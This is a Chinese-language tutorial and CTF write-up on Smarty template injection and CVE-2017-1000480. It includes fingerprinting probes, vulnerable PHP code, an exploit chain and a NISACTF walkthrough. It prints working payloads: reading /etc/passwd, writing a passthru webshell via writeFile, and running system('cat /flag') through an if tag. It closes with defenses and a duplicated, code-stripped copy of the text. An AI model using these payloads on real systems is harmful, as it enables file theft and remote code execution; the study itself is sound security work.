Smarty模板注入&CVE-2017-1000480
字数 1233 2025-08-25 22:58:40

Smarty模板注入与CVE-2017-1000480漏洞分析

1. Smarty模板引擎简介

Smarty是PHP的一个模板引擎,用于将表示层(HTML/CSS)与应用程序逻辑分离。在3.1.42和4.0.2版本之前,存在安全漏洞允许攻击者通过恶意数学字符串执行任意PHP代码。

2. 模板类型识别方法

在攻击前需要确定模板类型,以下是识别方法:

第一层测试

  • 执行${77},如果有结果则进入第二层a{comment}b
  • 如果没有结果则进入第二层{{77}}

第二层测试

  • a{*comment*}b中,如果{**}被当作注释而输出ab,则是Smarty模板
  • 如果不能,进入第三层{{7*7}}测试

第三层测试

  • {{7*'7'}}结果为49时是Twig模板
  • 结果为7777777时是Jinja2模板
  • 能执行${"z".join("ab")}时是Mako模板

3. Smarty漏洞成因

漏洞通常出现在以下代码中:

<?php
require_once('./smarty/libs/' . 'Smarty.class.php');
$smarty = new Smarty();
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$smarty->display("string:".$ip); // 漏洞点
}

当用户可控输入(如X-Forwarded-For头)直接传递给display()函数时,可能导致模板注入。

4. 攻击方式

4.1 获取类的静态方法

getStreamVariable()方法

public function getStreamVariable($variable) {
    $_result = '';
    $fp = fopen($variable, 'r+'); // 读取文件
    if ($fp) {
        while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
            $_result .= $current_line;
        }
        fclose($fp);
        return $_result;
    }
    // ...
}

利用方式:

{self::getStreamVariable("file:///etc/passwd")}

注意:此方法在3.1.30版本后已被移除。

writeFile方法

public function writeFile($_filepath, $_contents, Smarty $smarty) {
    // 写入文件
}

利用方式:

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

4.2 常用标签利用

  1. 获取版本号

    {$smarty.version}
    
  2. 执行PHP代码(Smarty3中已废弃)

    {php}phpinfo();{/php}
    
  3. literal标签(可用于XSS)

    {literal}alert('xss');{/literal}
    
  4. if标签执行命令

    {if phpinfo()}{/if}
    {if readfile('/flag')}{/if}
    {if system('cat /flag')}{/if}
    

5. CVE-2017-1000480漏洞分析

5.1 漏洞环境

漏洞触发点代码:

<?php
define('SMARTY_ROOT_DIR', str_replace('\\', '/', __DIR__));
define('SMARTY_COMPILE_DIR', SMARTY_ROOT_DIR.'/tmp/templates_c');
define('SMARTY_CACHE_DIR', SMARTY_ROOT_DIR.'/tmp/cache');

include_once(SMARTY_ROOT_DIR . '/smarty-3.1.31/libs/Smarty.class.php');

class testSmarty extends Smarty_Resource_Custom {
    protected function fetch($name, &$source, &$mtime) {
        $template = "CVE-2017-1000480 smarty PHP code injection";
        $source = $template;
        $mtime = time();
    }
}

$smarty = new Smarty();
$smarty->setCacheDir(SMARTY_CACHE_DIR);
$smarty->setCompileDir(SMARTY_COMPILE_DIR);
$smarty->registerResource('test', new testSmarty);
$smarty->display('test:'.$_GET['eval']);
?>

5.2 漏洞利用链

  1. display()方法调用_execute()
  2. _execute()调用createTemplate()
  3. 模板编译过程中生成临时文件
  4. 临时文件内容包含用户可控输入
  5. 通过eval()include()执行临时文件

5.3 关键代码分析

smarty_internal_runtime_codeframe.php中:

$output .= "/* Smarty version " . Smarty::SMARTY_VERSION . ", created on " . strftime("%Y-%m-%d %H:%M:%S") .
           "\n  from \"" . $_template->source->filepath . "\" */\n\n";

攻击者可利用注释闭合进行注入:

  • 在payload前加*/闭合前面注释
  • 在payload后加//注释掉后面内容

5.4 利用限制

  • Windows平台下文件名不能包含*,无法利用
  • Linux平台下可成功利用

6. 实战案例:[NISACTF 2022]midlevel

  1. 识别Smarty模板:

    • 使用{*comment*}测试确认是Smarty
  2. 获取版本:

    {$smarty.version}
    

    返回3.1.30版本

  3. 利用方式:

    • 不能使用getStreamVariable()(版本限制)
    • 不能使用{php}标签(版本限制)
    • 使用if标签执行命令:
      {if system('cat /flag')}{/if}
      

7. 防御措施

  1. 升级到最新版本Smarty
  2. 不要将用户输入直接传递给模板引擎
  3. 对用户输入进行严格过滤
  4. 禁用危险标签和函数

8. 参考资源

  1. Smarty模板注入分析
  2. Smarty RCE分析
  3. Smarty模板引擎安全
Smarty模板注入与CVE-2017-1000480漏洞分析 1. Smarty模板引擎简介 Smarty是PHP的一个模板引擎,用于将表示层(HTML/CSS)与应用程序逻辑分离。在3.1.42和4.0.2版本之前,存在安全漏洞允许攻击者通过恶意数学字符串执行任意PHP代码。 2. 模板类型识别方法 在攻击前需要确定模板类型,以下是识别方法: 第一层测试 执行 ${77} ,如果有结果则进入第二层 a{comment}b 如果没有结果则进入第二层 {{77}} 第二层测试 在 a{*comment*}b 中,如果 {**} 被当作注释而输出 ab ,则是Smarty模板 如果不能,进入第三层 {{7*7}} 测试 第三层测试 {{7*'7'}} 结果为49时是Twig模板 结果为7777777时是Jinja2模板 能执行 ${"z".join("ab")} 时是Mako模板 3. Smarty漏洞成因 漏洞通常出现在以下代码中: 当用户可控输入(如X-Forwarded-For头)直接传递给 display() 函数时,可能导致模板注入。 4. 攻击方式 4.1 获取类的静态方法 getStreamVariable()方法 利用方式: 注意:此方法在3.1.30版本后已被移除。 writeFile方法 利用方式: 4.2 常用标签利用 获取版本号 执行PHP代码 (Smarty3中已废弃) literal标签 (可用于XSS) if标签执行命令 5. CVE-2017-1000480漏洞分析 5.1 漏洞环境 漏洞触发点代码: 5.2 漏洞利用链 display() 方法调用 _execute() _execute() 调用 createTemplate() 模板编译过程中生成临时文件 临时文件内容包含用户可控输入 通过 eval() 或 include() 执行临时文件 5.3 关键代码分析 在 smarty_internal_runtime_codeframe.php 中: 攻击者可利用注释闭合进行注入: 在payload前加 */ 闭合前面注释 在payload后加 // 注释掉后面内容 5.4 利用限制 Windows平台下文件名不能包含 * ,无法利用 Linux平台下可成功利用 6. 实战案例:[ NISACTF 2022 ]midlevel 识别Smarty模板: 使用 {*comment*} 测试确认是Smarty 获取版本: 返回3.1.30版本 利用方式: 不能使用 getStreamVariable() (版本限制) 不能使用 {php} 标签(版本限制) 使用 if 标签执行命令: 7. 防御措施 升级到最新版本Smarty 不要将用户输入直接传递给模板引擎 对用户输入进行严格过滤 禁用危险标签和函数 8. 参考资源 Smarty模板注入分析 Smarty RCE分析 Smarty模板引擎安全